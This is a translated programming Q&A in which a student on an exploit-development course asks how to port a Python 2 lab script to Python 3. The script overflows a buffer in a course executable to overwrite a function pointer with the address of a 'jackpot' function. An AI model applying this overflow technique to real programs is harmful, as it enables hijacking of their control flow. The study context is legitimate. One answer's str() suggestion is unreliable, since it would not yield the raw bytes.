【问题标题】:Need help rewriting python 2.7 Unicode code to work with 3.x需要帮助重写 python 2.7 Unicode 代码以使用 3.x
【发布时间】:2019-02-17 04:20:58
【问题描述】:

我正在学习 Pluralsight 上的 Exploit Development 课程,并且在我目前所在的实验室中,我们正在进行基本的函数指针覆盖。用于实验室的 python 脚本本质上运行目标可执行文件,输入以“jackpot”函数的内存地址结尾的 24 字节字符串。代码如下:

#!/usr/bin/python
import sys
import subprocess
import struct

# 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr

jackpot = 0x401591
# we only take 3 of the 4 bytes because strings cannot have a null,
# but will be null terminated terminated to complete the dword address
jackpot_packed = struct.pack('L', jackpot)[0:3]

arg = "A" * 20
arg += jackpot_packed
# or
# arg += "\x91\x15\x40"

subprocess.call(['functionoverwrite.exe', arg])

脚本运行时没有错误,并且使用 python 2.7.8 可以正常工作,但使用 3.7.2 时出现此错误:

Traceback(最近一次调用最后一次): 文件“c:/Users/rossk/Desktop/Pluralsight/Exploit Development/03/demos/lab2/solution/solution.py”,第 14 行,在 arg += jackpot_packed TypeError:只能将str(不是“字节”)连接到str

所以我尝试注释掉“arg += jackpot_packed”表达式并改用“arg +=”\x91\x15\x40”,但显然这不会产生相同的字符串,因为当我运行脚本,目标可执行文件在不调用累积奖金函数的情况下崩溃。

我正在寻找一种方法来为 python 3 修复此程序。如何重写此代码以使其适用于 3.x?

【问题讨论】:

标签: python python-3.x python-2.7


【解决方案1】:

在 Python 3 中,Unicode (str) 对象和字节对象之间没有隐式转换。如果你知道输出的编码,你可以 .decode() 它得到一个字符串,或者你可以把你想添加到字节的 \n 用 "\n".encode('ascii')

【讨论】:

  • 这是我的解决方案。原来编码是“windows-1252”。
【解决方案2】:

试试 arg += str(jackpot_packed)

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2018-08-05
    • 1970-01-01
    • 2020-06-29
    • 1970-01-01
    • 1970-01-01
    • 2011-12-27
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多